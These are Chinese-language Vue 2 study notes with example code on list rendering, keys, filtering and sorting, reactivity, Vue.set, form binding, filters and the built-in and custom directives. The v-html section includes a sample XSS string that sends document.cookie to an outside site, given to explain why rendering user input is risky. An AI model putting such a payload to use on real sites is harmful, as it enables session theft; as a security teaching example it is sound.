列表渲染
p的来源:data中配置的属性,计算属性,指令语法里的形参。
<div id="test">
<!--遍历数组-->
<h2>
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p}} --- {{index}}
</li>
</ul>
</h2>
<!--遍历对象-->
<h2>
<ul>
<li v-for="(value,k) of objs" :key="k">
{{k}} --- {{value}}
</li>
</ul>
</h2>
<!--遍历字符串-->
<h2>
<ul>
<li v-for="(char,index) of str" :key="index">
{{char}} --- {{index}}
</li>
</ul>
</h2>
<!--遍历指定此时-->
<h2>
<ul>
<li v-for="(a,b) of 5" :key="index">
{{a}} --- {{b}}
</li>
</ul>
</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#test",
data:{
persons:[
{name:'jack',age:18},
{name:'aric',age:28},
{name:'tom',age:38}
],
objs:{
name:'lili',
id:001,
age:12
},
str:'this is a string'
}
})
</script>
key作用与原理
如果index作为key:
虚拟dom的input是一样的,前三个从真实的dom处直接复用, 真实的input上有用户输入的数据。
同时效率较低。
如果不写key:
则把遍历时的索引值自动作为key。
id (主键)作为key:
<div id="test">
<!--遍历数组-->
<h2>
<ul>
<button @click="add">添加</button>
<li v-for="(p,index) of persons" :key="index">
{{p}} --- {{index}}
<input type="text">
</li>
</ul>
</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#test",
data:{
persons:[
{id:'001', name:'jack',age:18},
{id:'002',name:'aric',age:28},
{id:'003',name:'tom',age:38}
],
},
methods: {
add(){
const p = {id:'004',name:'lili',age:48};
this.persons.unshift(p)
}
},
})
</script>
列表过滤
indexOf 都包含空字符串
删除输入框数据时,传入空字符串,p.name都包含空字符串,所有数据都返回。
filter会返回一个新的数组给filpersons,原数组不受影响,还是原来的数据。
在原始数组对象person中搜索,搜索出来的结果返回给filpersons。页面的呈现也是依赖的filpersons。
<div id="test">
<!--遍历数组-->
<h2>
<input type="text" placeholder="请输入名字" v-model="keywords">
<ul>
<button @click="add">添加</button>
<li v-for="(p,index) of filpersons" :key="p.id">
{{p.name}} --{{p.age}}- {{p.id}}
<input type="text">
</li>
</ul>
</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#test",
data:{
keywords:'',
persons:[
{id:'001', name:'马冬梅',age:18},
{id:'002',name:'周冬雨',age:28},
{id:'003',name:'周杰伦',age:38}
],
filpersons:{}
},
methods: {
add(){
const p = {id:'004',name:'东伦',age:48};
this.persons.unshift(p)
}
},
watch:{
keywords:{
immediate:true,
handler(value){
this.filpersons = this.persons.filter((p)=>{
return p.name.indexOf(value) !== -1;
})
}
},
persons:{
deep:true,
handler(){
this.filpersons = this.persons;
}
}
}
})
</script>
计算属性实现:
计算属性回调函数调用:页面刚加载时,所依赖的属性变化时。
列表排序
sort 升序
每一次修改sortType,都会调用计算属性。
<div id="test">
<!--遍历数组-->
<h2>
<input type="text" placeholder="请输入名字" v-model="keywords">
<button @click="sortType = 2">升序</button>
<button @click="sortType = 1">降序</button>
<button @click="sortType = 0">原始顺序</button>
<ul>
<li v-for="(p,index) of filpersons" :key="p.id">
{{p.name}} --{{p.age}}- {{p.id}}
<input type="text">
</li>
</ul>
</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#test",
data:{
keywords:'',
sortType:0,//0 原顺序 1降序 2升序
persons:[
{id:'001', name:'马冬梅',age:18},
{id:'002',name:'周冬雨',age:28},
{id:'003',name:'周杰伦',age:38}
],
},
computed:{
filpersons(){
const arr = this.persons.filter((p)=>{
return p.name.indexOf(this.keywords) !== -1;
});
if(this.sortType){
arr.sort((p1,p2)=>{
return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age;
})
}
return arr;
}
}
})
</script>
更新时的一个问题
此时不能监视到变化
<div id="test">
<!--遍历数组-->
<h2>
<input type="text" placeholder="请输入名字" v-model="keywords">
<button @click="change">change</button>
<ul>
<li v-for="(p,index) of persons" :key="p.id">
{{p.name}} --{{p.age}}- {{p.id}}
<input type="text">
</li>
</ul>
</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#test",
data:{
keywords:'',
persons:[
{id:'001', name:'马冬梅',age:18},
{id:'002',name:'周冬雨',age:28},
{id:'003',name:'周杰伦',age:38}
],
},
methods:{
change(){
//this.persons[0].name = 'changename'
this.persons[0] = {id:'001', name:'changename',age:18}
}
}
})
</script>
Vue检测数据改变的原理对象
先对data加工 再赋值给vm中的_data。使其能够感知数据变化。
修改data中的属性,__data__中的属性也发生变化,同时页面也变化。
修改数据时,调用set,同时会重新解析模板。
<script>
let data = {
name:'atguigu',
address:'beijing'
}
let vm = {}
//创建一个监视实例对象,用于监视 data中数据的变化
//传入data的内存地址
let obs = new Obsver(data);
//先对data加工 再赋值给vm中的_data
//赋值后,原有的data就拿不到了,这样你操作的时候就一定会去调用set函数,
//因为原始的data没有写set,这样防止你跳过set函数,导致没有执行重新解析模板的语句
//三者指向同一个内存地址
vm._data = data = obs;
function Obsver(obj){
//汇总对象中的所有属性形成一个数组
let arr = Object.keys(obj);
arr.forEach((k)=>{
//this是Obsver实例对象
//给this定义属性
Object.defineProperty(this,k,{
get(){
return obj[k]
},
set(val){
console.log("修改了,然后执行重新解析模板")
obj[k] = val;
}
})
})
}
</script>
Vue.set()
需要给student新添加一个属性,直接在_data中添加不能实现响应式。
直接给vm添加,也不行。vm里数据来源于_data,数据代理。
添加响应式属性
不能给data加属性: 第一个参数不能是vm和vm.data
<div id="test">
<ul>
<button @click="add">点击添加性别</button>
<li>
{{name}}
</li>
<li>
{{student.name}}
</li>
<li>
{{student.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#test",
data:{
name:'sangguigu',
address:'beijing',
student:{
name:'jt',
age:'100'
}
},
methods: {
add(){
Vue.set(this.student,'sex','男')
}
},
})
</script>
收集表单数据
<div id="root">
<form @submit.prevent="demo">
<!--<label for="demo">账号</label>
<input type="text" id="demo"> -->
账号:<input type="text" v-model.trim="userInfo.account"> <br>
密码:<input type="password" v-model="userInfo.password"><br>
年龄:<input type="number" v-model.number="userInfo.age"><br>
性别:
男 <input type="radio" name="sex" v-model="userInfo.sex" value="male">
女 <input type="radio" name="sex" v-model="userInfo.sex" value="female"><br>
爱好:学习<input type="checkbox" v-model="userInfo.hobby" value="study">
运动<input type="checkbox" v-model="userInfo.hobby" value="sport">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br>
校区:
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="chongqing">重庆</option>
</select><br>
<!--失去焦点才更新-->
其它信息:<textarea v-model.lazy="userInfo.other"></textarea></form><br>
<input type="checkbox" v-model="userInfo.argee"> 阅读并接受 <a href="www.atguigu.com">协议</a> <br>
<button>提交表单</button>
</form>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#root",
data:{
userInfo:{
account:'',
password:'',
sex:"male",
//hobby的初始值,能够影响v-moudel搜集回来的数据。
hobby:[],
city:"beijing",
other:'other',
argee:'',
age:''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo))
}
},
})
</script>
过滤器
timeFormater的返回值传给 myslice ,time不会直接交给myslice处理。
<div id="root">
<h2>{{fmtTime}}</h2>
<h2>{{comTime()}}</h2>
<!--time作为参数传入timefo,timefo的返回值回传 -->
<h2>{{time | timefo}}</h2>
<h2>{{time | timefo('YYYY-MM-DD')}}</h2>
<h2>{{time | timefo('YYYY-MM-DD') | slice}}</h2>
<h2 :x="msg | slice(0,4)">???</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//全局过滤器
Vue.filter('slice',function(value){
return value.slice(0,4);
})
const vm = new Vue({
el:"#root",
data:{
time:1646479488133,
msg:'尚硅谷12134567'
},
methods: {
comTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
}
},
computed:{
fmtTime:{
get(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
}
}
},
//局部过滤器
filters:{
/*
timefo(value){
return dayjs(value).format('YYYY-MM-DD HH:mm:ss');
},
timefoi(value,str){
return dayjs(value).format(str);
}*/
/*如果str有值,就用传过来的,没值就用默认的*/
timefo(value,str='YYYY-MM-DD HH:mm:ss'){
return dayjs(value).format(str);
},
slice(value){
return value.slice(0,4);
}
}
})
</script>
内置指令
v-text
<div id="root">
<h2>hello,{{name}}</h2>
<h2 v-text="name">hello,</h2>
<h2 v-text="str">hello,</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#root",
data:{
name:"atguigu",
str:"<h2>hello,atguigu</h2>"
},
methods:{
}
});
</script>
v-html
HttpOnly:只有http协议可以读取。
此时document.cookie无法获得。
<body>
<div id="root">
<h2>hello,{{name}}</h2>
<h2 v-text="name">hello,</h2>
<h2 v-text="str">hello,</h2>
<h2 v-html="str"></h2>
<h2 v-html="str2"></h2>
<h2>{{str2}}</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#root",
data:{
name:"atguigu",
str:"<h2>hello,atguigu</h2>",
//当前网站的cookie会上传到目标网站。
//如果str2是用户输入的,那就有风险。
str2:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>hello,atguigu</a>"
},
methods:{
}
});
</script>
</body>
str2是用户输入的,那就有风险。
v-cloak
vue引入前存在,引入后消失。
配合css:
v-once
<body>
<div id="root">
<h2 v-once>初始的n:{{n}}</h2>
<h2>{{n}}</h2>
<button @click="n++">plus 1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#root",
data:{
n:1,
},
methods:{
}
});
</script>
v-pre
<body>
<div id="root">
<h2 v-pre>不依赖Vue的</h2>
<h2 v-pre>{{name}}</h2>
<h2 v-once>初始的n:{{n}}</h2>
<h2>{{n}}</h2>
<button @click="n++">plus 1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#root",
data:{
n:1,
name:'name'
},
methods:{
}
});
</script>
自定义指令
需求:
函数式
两个参数:
绑定的所有信息封装为一个对象:binding。
指令语法就是操作dom元素的属性,内容,绑定事件。
对象式
此时无法实现获取焦点。
input.focus()必须放在添加元素之后再执行,才能获取焦点。(获取其父元素等)
一些api也能在添加之前操作:
<body>
<div id="root">
<h2>hello,{{name}}</h2>
当前的n值是:<h2 v-text="n"></h2>
放大10倍后的n值是:<h2 v-big="n"></h2>
<button @click="n++">点击puls</button> <br>
<input type="text" v-model:value="name">
<hr>
<input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el:"#root",
data:{
n: 1,
name:"atguigu"
},
directives:{
//1.指令与元素成功绑定时会调用
//2.指令所在的模板被重新解析时会调用
big(element,binding){
//console.log(element instanceof HTMLElement);//true
element.innerText = binding.value * 10;
},
fbind:{
//当指令与元素成功绑定时调用
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时调用
inserted(element,binding){
element.focus();
},
//指令所在页面被重写解析时调用
update(element,binding){
element.value = binding.value;
element.focus();
}
}
},
});
</script>
</body>